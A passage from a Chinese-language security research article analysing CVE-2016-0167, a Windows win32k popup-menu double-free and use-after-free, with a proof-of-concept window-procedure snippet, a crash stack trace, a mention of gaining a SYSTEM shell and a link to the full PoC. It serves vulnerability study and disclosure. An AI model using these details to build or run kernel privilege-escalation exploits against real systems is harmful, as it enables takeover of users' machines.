当位于用户进程上下文的 TrackPopupMenuEx 函数调用返回到验证代码时,满足漏洞触发条件的目标弹出菜单对象已经实现。接下来执行流将进入由验证代码设定的消息循环中。此时将分发前面在自定义挂钩处理程序 xxWindowHookProc 函数中向拥有者窗口对象发送的 WM_EX_TRIGGER 自定义触发消息。在拥有者窗口对象的自定义消息处理函数 xxMainWindowProc 中接收并处理该消息:

LRESULT WINAPI
xxMainWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_EX_TRIGGER)
    {
        DestroyWindow(hwndMenuDest);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

拥有者窗口对象的自定义消息处理函数

在自定义消息处理函数 xxMainWindowProc 中,判断当前处理的消息是否为 WM_EX_TRIGGER 自定义触发消息;如是则直接调用函数 DestroyWindow 以触发销毁前面记录句柄的子菜单窗口对象的操作。这将使执行流在内核中进入销毁目标弹出菜单对象的 xxxMNDestroyHandler 函数调用中。

在函数 xxxMNDestroyHandler 中,系统向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP 并将关联的菜单窗口对象句柄作为 wParam 参数传入。这将命中在自定义挂钩处理程序 xxWindowHookProc 中命中前面设定的 WM_UNINITMENUPOPUP 的判断条件。

由于在函数 xxWindowHookProc 处理 WM_UNINITMENUPOPUP 消息的代码逻辑中验证代码直接调用函数 DestroyWindow 销毁前面记句柄的子菜单窗口对象,这将使执行流针对相同的子弹出菜单对象重复进入函数 xxxMNDestroyHandler 的调用。在第二次函数 xxxMNDestroyHandler 执行期间,虽然仍旧会像第一次执行时那样发送 WM_UNINITMENUPOPUP 消息,但由于在验证代码中已设置相关全局变量阻止多次处理,因此并不会在函数 xxWindowHookProc 中更多次调用 DestroyWindow 函数。

接着第二次调用的 xxxMNDestroyHandler 函数根据未被置位的成员标志位 fDelayedFree 对目标弹出菜单对象调用 MNFreePopup 函数以执行销毁操作。在该函数中与目标弹出菜单对象关联的各种内核对象将被销毁,弹出菜单对象的内存将被释放。


重复释放目标弹出菜单对象的执行流追踪

当执行流回到第一次调用的 xxxMNDestroyHandler 函数中时,函数将执行相同的释放操作。这将导致对已释放的内存块进行重复释放,导致系统 BSOD 的发生。

 # ChildEBP RetAddr
00 96589654 83f25083 nt!RtlpBreakWithStatusInstruction
01 965896a4 83f25b81 nt!KiBugCheckDebugBreak+0x1c
02 96589a68 83f67c6b nt!KeBugCheck2+0x68b
03 96589ae4 94e15e08 nt!ExFreePoolWithTag+0x1b1
04 96589af8 94e15f85 win32k!MNFreePopup+0x95
05 96589b14 94e0e894 win32k!xxxMNDestroyHandler+0x117
06 96589b5c 94e15fc9 win32k!xxxMenuWindowProc+0x515
07 96589b74 94d5d9cd win32k!xxxWrapMenuWindowProc+0x2b
08 96589bc8 94d56142 win32k!xxxFreeWindow+0x184
09 96589c18 94d5e62c win32k!xxxDestroyWindow+0x523
0a 96589c28 83e841ea win32k!NtUserDestroyWindow+0x21
0b 96589c28 773970b4 nt!KiFastCallEntry+0x12a
0c 0088fb9c 75abb300 ntdll!KiFastSystemCallRet
0d 0088fba0 0109bf0f USER32!NtUserDestroyWindow+0xc
0e 0088fbf8 75acc4e7 TempDemo!xxMainWindowProc+0x8f

重复释放目标弹出菜单对象内存导致 BSOD 的发生

0x4 利用

和 CVE-2017-0263 漏洞相比,虽然漏洞触发的条件不在同一函数中,并且原理不尽相同,但由于两者同样都是弹出菜单对象销毁期间在函数 MNFreePopup 中最终触发释放后重用漏洞,因此两者利用方式完全相同,在这里将不再赘述,有兴趣的读者可以阅读之前的文章:《从 CVE-2017-0263 漏洞分析到菜单管理组件》。


启动的命令提示符进程已属于 System 用户身份


后记

该漏洞的利用过程通过使用特定的异步和同步的消息请求相互配合,使内核中生成未置位成员标志位 fDelayedFree 的特殊弹出菜单对象,满足漏洞触发条件;通过对目标弹出菜单对象关联的菜单窗口对象触发销毁操作,使内核中的执行流进入漏洞所在函数中,重入漏洞所在函数。利用漏洞细节,使漏洞所在函数的两次调用都进入对目标弹出菜单的销毁处理过程中,得以触发释放后重用和重复释放漏洞。

到当前这篇文章为止,已连续分析了多个弹出菜单 tagPOPUPMENU 对象的释放后重用(UAF)漏洞,因此文章中一些内容存在与前几篇文章内容重复的地方,但漏洞触发原理和细节、漏洞触发的条件不尽相同。以后的分析将尽量选择新类型的漏洞进行分析。

0x5 链接

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp

[1] Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks

https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

[2] 从 CVE-2017-0263 漏洞分析到菜单管理组件

https://xiaodaozhi.com/exploit/71.html

[3] 对 UAF 漏洞 CVE-2015-2546 的分析和利用

https://xiaodaozhi.com/exploit/122.html

[4] Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

文章链接: https://www.anquanke.com/post/id/107566